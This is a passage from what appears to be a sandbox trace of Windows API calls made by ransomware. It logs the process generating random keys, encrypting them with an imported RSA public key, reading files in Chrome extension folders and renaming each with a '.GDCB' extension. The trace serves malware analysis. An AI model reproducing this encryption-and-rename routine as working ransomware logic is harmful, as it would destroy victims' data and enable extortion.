CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0263.661] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0263.661] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0263.664] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0263.667] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0263.667] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0263.667] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0263.667] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0263.669] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6793a60) returned 1 [0263.669] CryptGetKeyParam (in: hKey=0x6793a60, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0263.669] CryptEncrypt (in: hKey=0x6793a60, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0263.670] GetLastError () returned 0x0 [0263.670] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0263.670] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0263.672] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6793e20) returned 1 [0263.672] CryptGetKeyParam (in: hKey=0x6793e20, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0263.672] CryptEncrypt (in: hKey=0x6793e20, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0263.672] GetLastError () returned 0x0 [0263.672] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0263.672] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_CN\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_cn\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0263.673] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0263.676] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0263.679] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xb3, lpOverlapped=0x0) returned 1 [0263.688] VirtualAlloc (lpAddress=0x0, dwSize=0xc0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0263.695] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_CN\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_cn\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_CN\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_cn\\messages.json.gdcb")) returned 1 [0263.701] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0263.704] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0263.706] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0263.706] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0263.706] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0263.706] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0263.709] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0263.712] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0263.712] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0263.712] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0263.712] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0263.715] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6793e60) returned 1 [0263.715] CryptGetKeyParam (in: hKey=0x6793e60, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0263.715] CryptEncrypt (in: hKey=0x6793e60, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0263.715] GetLastError () returned 0x0 [0263.715] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0263.715] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0263.717] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6793ea0) returned 1 [0263.717] CryptGetKeyParam (in: hKey=0x6793ea0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0263.717] CryptEncrypt (in: hKey=0x6793ea0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0263.717] GetLastError () returned 0x0 [0263.717] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0263.718] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_TW\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_tw\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0263.719] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0263.722] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0263.725] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xb3, lpOverlapped=0x0) returned 1 [0263.732] VirtualAlloc (lpAddress=0x0, dwSize=0xc0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0263.740] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_TW\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_tw\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_TW\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_tw\\messages.json.gdcb")) returned 1 [0263.746] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0263.750] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0263.752] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0263.753] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0263.753] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0263.753] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0263.755] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0263.757] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0263.757] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0263.757] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0263.758] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0263.760] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6792f60) returned 1 [0263.760] CryptGetKeyParam (in: hKey=0x6792f60, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0263.760] CryptEncrypt (in: hKey=0x6792f60, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0263.760] GetLastError () returned 0x0 [0263.760] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0263.760] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0263.762] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6794020) returned 1 [0263.762] CryptGetKeyParam (in: hKey=0x6794020, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0263.762] CryptEncrypt (in: hKey=0x6794020, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285d120*=0x100) returned 1 [0263.762] GetLastError () returned 0x0 [0263.762] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0263.762] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_metadata\\verified_contents.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_metadata\\verified_contents.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x424 [0263.763] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0263.766] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0263.769] ReadFile (in: hFile=0x424, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285d160*=0x2769, lpOverlapped=0x0) returned 1 [0263.778] VirtualAlloc (lpAddress=0x0, dwSize=0x2770, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0263.784] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_metadata\\verified_contents.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_metadata\\verified_contents.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_metadata\\verified_contents.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_metadata\\verified_contents.json.gdcb")) returned 1 [0263.805] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0263.808] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0263.810] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0263.811] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0263.811] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0263.811] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0263.813] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0263.815] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0263.816] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0263.816] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0263.816] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0263.818] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6793aa0) returned 1 [0263.818] CryptGetKeyParam (in: hKey=0x6793aa0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0263.818] CryptEncrypt (in: hKey=0x6793aa0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0263.819] GetLastError () returned 0x0 [0263.819] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0263.819] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0263.821] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6794520) returned 1 [0263.821] CryptGetKeyParam (in: hKey=0x6794520, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0263.821] CryptEncrypt (in: hKey=0x6794520, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0263.821] GetLastError () returned 0x0 [0263.821] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0263.821] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ar\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ar\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0263.822] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0263.825] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0263.828] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xfe, lpOverlapped=0x0) returned 1 [0263.836] VirtualAlloc (lpAddress=0x0, dwSize=0x100, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0263.846] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ar\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ar\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ar\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ar\\messages.json.gdcb")) returned 1 [0263.853] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0263.856] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0263.858] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0263.859] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0263.859] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0263.859] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0263.861] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0263.863] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0263.863] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0263.863] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0263.864] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0263.866] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67945a0) returned 1 [0263.866] CryptGetKeyParam (in: hKey=0x67945a0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0263.866] CryptEncrypt (in: hKey=0x67945a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0263.866] GetLastError () returned 0x0 [0263.866] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0263.866] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0263.868] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6794560) returned 1 [0263.868] CryptGetKeyParam (in: hKey=0x6794560, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0263.868] CryptEncrypt (in: hKey=0x6794560, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0263.869] GetLastError () returned 0x0 [0263.869] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0263.869] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\bg\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\bg\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0263.870] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0263.873] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0263.875] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0x12f, lpOverlapped=0x0) returned 1 [0263.883] VirtualAlloc (lpAddress=0x0, dwSize=0x130, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0263.891] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\bg\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\bg\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\bg\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\bg\\messages.json.gdcb")) returned 1 [0263.896] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0263.899] 